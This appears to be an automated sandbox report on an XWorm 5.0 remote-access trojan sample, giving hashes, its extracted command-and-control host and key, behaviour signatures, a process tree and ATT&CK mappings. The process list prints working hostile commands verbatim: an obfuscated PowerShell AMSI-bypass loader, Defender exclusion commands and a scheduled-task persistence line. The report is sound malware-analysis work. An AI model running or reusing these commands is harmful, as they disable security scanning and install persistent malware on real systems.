Analysis
- max time kernel
73s - max time network
112s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
10/04/2024, 15:50
Behavioral task
behavioral1
Sample
XClient.exe
Resource
win10v2004-20231215-en
General
- Target XClient.exe
- Size 39KB
- Sample240410-s931ragc8x
- SHA256 dced7baf3dbe54b82383a0228be70e2db29f2550e4a6a21db3ac678c50bae7b7
- MD5 92b8438019f73a921929a05d3dd36af3
- SHA1 1dad9e8a7c19d02fb9ac7677403410bc64c63518
- SHA512 f36eede215b58588b9f416ee3b4755a479ef8ccaea0776e89b87c5ed5df09778830fa729494ad442076a8e526db940488010c758ec62cf5c49972da7e02ca0fa
- SSDEEP 768:Yybn+v8csoYSQ5lLJKuuwhSZPypufFWPa9bZ6POwhhaubIK:fn+EcsodQVJKuuwhSMEFv9bZ6POwTTj
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
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xworm
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5.0
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127.0.0.1:36335
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menu-installations.gl.at.ply.gg:36335
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RFgxckMfAtjkPeB2
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Install_directory
%ProgramData%
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install_file
check.exe
Signatures
- Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/memory/1340-0-0x0000000000BC0000-0x0000000000BD0000-memory.dmp family_xworm behavioral1/files/0x000b000000023202-69.dat family_xworm - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3716 created 616 3716 powershell.EXE 5 - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation XClient.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77thing.lnk XClient.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77thing.lnk XClient.exe - Executes dropped EXE 2 IoCs
pid Process 4960 $77thing 2228 laqxae.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77thing = "C:\\ProgramData\\$77thing" XClient.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3716 set thread context of 1760 3716 powershell.EXE 108 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4696 schtasks.exe - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1112 powershell.exe 1112 powershell.exe 1424 powershell.exe 1424 powershell.exe 5076 powershell.exe 5076 powershell.exe 1208 powershell.exe 1208 powershell.exe 1340 XClient.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 3716 powershell.EXE 3716 powershell.EXE 3716 powershell.EXE 4336 taskmgr.exe 1760 dllhost.exe 1760 dllhost.exe 1760 dllhost.exe 1760 dllhost.exe 4336 taskmgr.exe 4336 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1340 XClient.exe Token: SeDebugPrivilege 1112 powershell.exe Token: SeDebugPrivilege 1424 powershell.exe Token: SeDebugPrivilege 5076 powershell.exe Token: SeDebugPrivilege 1208 powershell.exe Token: SeDebugPrivilege 1340 XClient.exe Token: SeDebugPrivilege 4960 $77thing Token: SeDebugPrivilege 4336 taskmgr.exe Token: SeSystemProfilePrivilege 4336 taskmgr.exe Token: SeCreateGlobalPrivilege 4336 taskmgr.exe Token: SeDebugPrivilege 3716 powershell.EXE Token: SeDebugPrivilege 3716 powershell.EXE Token: SeDebugPrivilege 1760 dllhost.exe Token: SeShutdownPrivilege 384 dwm.exe Token: SeCreatePagefilePrivilege 384 dwm.exe Token: 33 4336 taskmgr.exe Token: SeIncBasePriorityPrivilege 4336 taskmgr.exe - Suspicious use of FindShellTrayWindow 39 IoCs
pid Process 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe - Suspicious use of SendNotifyMessage 39 IoCs
pid Process 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe 4336 taskmgr.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1340 XClient.exe - Suspicious use of WriteProcessMemory 49 IoCs
description pid Process procid_target PID 1340 wrote to memory of 1112 1340 XClient.exe 85 PID 1340 wrote to memory of 1112 1340 XClient.exe 85 PID 1340 wrote to memory of 1424 1340 XClient.exe 87 PID 1340 wrote to memory of 1424 1340 XClient.exe 87 PID 1340 wrote to memory of 5076 1340 XClient.exe 89 PID 1340 wrote to memory of 5076 1340 XClient.exe 89 PID 1340 wrote to memory of 1208 1340 XClient.exe 91 PID 1340 wrote to memory of 1208 1340 XClient.exe 91 PID 1340 wrote to memory of 4696 1340 XClient.exe 93 PID 1340 wrote to memory of 4696 1340 XClient.exe 93 PID 1340 wrote to memory of 2228 1340 XClient.exe 105 PID 1340 wrote to memory of 2228 1340 XClient.exe 105 PID 1340 wrote to memory of 2228 1340 XClient.exe 105 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 3716 wrote to memory of 1760 3716 powershell.EXE 108 PID 1760 wrote to memory of 616 1760 dllhost.exe 5 PID 1760 wrote to memory of 672 1760 dllhost.exe 7 PID 672 wrote to memory of 2816 672 lsass.exe 50 PID 672 wrote to memory of 2816 672 lsass.exe 50 PID 1760 wrote to memory of 956 1760 dllhost.exe 12 PID 672 wrote to memory of 2816 672 lsass.exe 50 PID 672 wrote to memory of 2816 672 lsass.exe 50 PID 1760 wrote to memory of 384 1760 dllhost.exe 13 PID 1760 wrote to memory of 408 1760 dllhost.exe 14 PID 1760 wrote to memory of 696 1760 dllhost.exe 15 PID 1760 wrote to memory of 1032 1760 dllhost.exe 17 PID 1760 wrote to memory of 1136 1760 dllhost.exe 18 PID 1760 wrote to memory of 1144 1760 dllhost.exe 19 PID 1760 wrote to memory of 1152 1760 dllhost.exe 20 PID 1760 wrote to memory of 1160 1760 dllhost.exe 21 PID 1760 wrote to memory of 1228 1760 dllhost.exe 22 PID 1760 wrote to memory of 1260 1760 dllhost.exe 23 PID 1760 wrote to memory of 1304 1760 dllhost.exe 24 PID 1760 wrote to memory of 1396 1760 dllhost.exe 25 PID 1760 wrote to memory of 1432 1760 dllhost.exe 26 PID 1760 wrote to memory of 1572 1760 dllhost.exe 27 PID 1760 wrote to memory of 1604 1760 dllhost.exe 28 PID 1760 wrote to memory of 1612 1760 dllhost.exe 29 PID 1760 wrote to memory of 1716 1760 dllhost.exe 30 PID 1760 wrote to memory of 1744 1760 dllhost.exe 31 PID 1760 wrote to memory of 1752 1760 dllhost.exe 32 PID 1760 wrote to memory of 1840 1760 dllhost.exe 33 PID 1760 wrote to memory of 1964 1760 dllhost.exe 34 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:384
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{48f3f0b7-0d92-4129-b8fb-678fec3a5350}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵PID:696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1144
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C:\ProgramData\$77thingC:\ProgramData\$77thing2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4960
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KtVMTxpiDHwd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gKqiLazxbbVEwO,[Parameter(Position=1)][Type]$SkIRaOPaNn)$atjXDzSbmJd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'Typ'+[Char](101)+'','Cl'+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+'u'+'b'+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'nsi'+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+''+','+''+'A'+'u'+[Char](116)+''+'o'+'C'+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$atjXDzSbmJd.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+''+'g'+',P'+'u'+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$gKqiLazxbbVEwO).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$atjXDzSbmJd.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+'ke',''+'P'+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'',$SkIRaOPaNn,$gKqiLazxbbVEwO).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'ti'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $atjXDzSbmJd.CreateType();}$npaeIRipdBXpU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+'t.'+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+'.'+'U'+[Char](110)+''+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+'ho'+[Char](100)+''+[Char](115)+'');$ScBfIREJgYmMfH=$npaeIRipdBXpU.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'P'+''+'r'+''+'o'+''+'c'+''+'A'+'d'+[Char](100)+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+'b'+'l'+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QbdlSnXrRHNjcPHTBpl=KtVMTxpiDHwd @([String])([IntPtr]);$SecHfziRkgskKYFNYncsMF=KtVMTxpiDHwd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KhOSsjfSbVj=$npaeIRipdBXpU.GetMethod(''+'G'+''+[Char](101)+'t'+'M'+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+'l3'+[Char](50)+'.'+'d'+''+'l'+''+[Char](108)+'')));$IyTEPQijdlecve=$ScBfIREJgYmMfH.Invoke($Null,@([Object]$KhOSsjfSbVj,[Object]('L'+[Char](111)+'a'+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$lFUHabKwEGwxMlEhJ=$ScBfIREJgYmMfH.Invoke($Null,@([Object]$KhOSsjfSbVj,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$BOIyDsx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IyTEPQijdlecve,$QbdlSnXrRHNjcPHTBpl).Invoke(''+[Char](97)+''+'m'+'si.d'+'l'+''+[Char](108)+'');$IhhIKmymqcAEohnth=$ScBfIREJgYmMfH.Invoke($Null,@([Object]$BOIyDsx,[Object](''+'A'+''+'m'+'s'+[Char](105)+'S'+'c'+'a'+'n'+''+'B'+'u'+'f'+''+'f'+''+[Char](101)+'r')));$gBqFdvVyaN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lFUHabKwEGwxMlEhJ,$SecHfziRkgskKYFNYncsMF).Invoke($IhhIKmymqcAEohnth,[uint32]8,4,[ref]$gBqFdvVyaN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$IhhIKmymqcAEohnth,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lFUHabKwEGwxMlEhJ,$SecHfziRkgskKYFNYncsMF).Invoke($IhhIKmymqcAEohnth,[uint32]8,0x20,[ref]$gBqFdvVyaN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+''+[Char](84)+'WA'+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1432
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1476
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4060
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4184
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1288
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4492
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1604
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1964
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2816
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C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1424
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\$77thing'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5076
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77thing'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1208
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77thing" /tr "C:\ProgramData\$77thing"2⤵
- Creates scheduled task(s)
PID:4696
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C:\Users\Admin\AppData\Local\Temp\laqxae.exe"C:\Users\Admin\AppData\Local\Temp\laqxae.exe"2⤵
- Executes dropped EXE
PID:2228
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4336
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
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Downloads
- Path C:\ProgramData\$77thing
- Size 39KB
- SHA256 dced7baf3dbe54b82383a0228be70e2db29f2550e4a6a21db3ac678c50bae7b7
- MD5 92b8438019f73a921929a05d3dd36af3
- SHA1 1dad9e8a7c19d02fb9ac7677403410bc64c63518
- SHA512 f36eede215b58588b9f416ee3b4755a479ef8ccaea0776e89b87c5ed5df09778830fa729494ad442076a8e526db940488010c758ec62cf5c49972da7e02ca0fa
- SSDEEP 768:Yybn+v8csoYSQ5lLJKuuwhSZPypufFWPa9bZ6POwhhaubIK:fn+EcsodQVJKuuwhSMEFv9bZ6POwTTj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
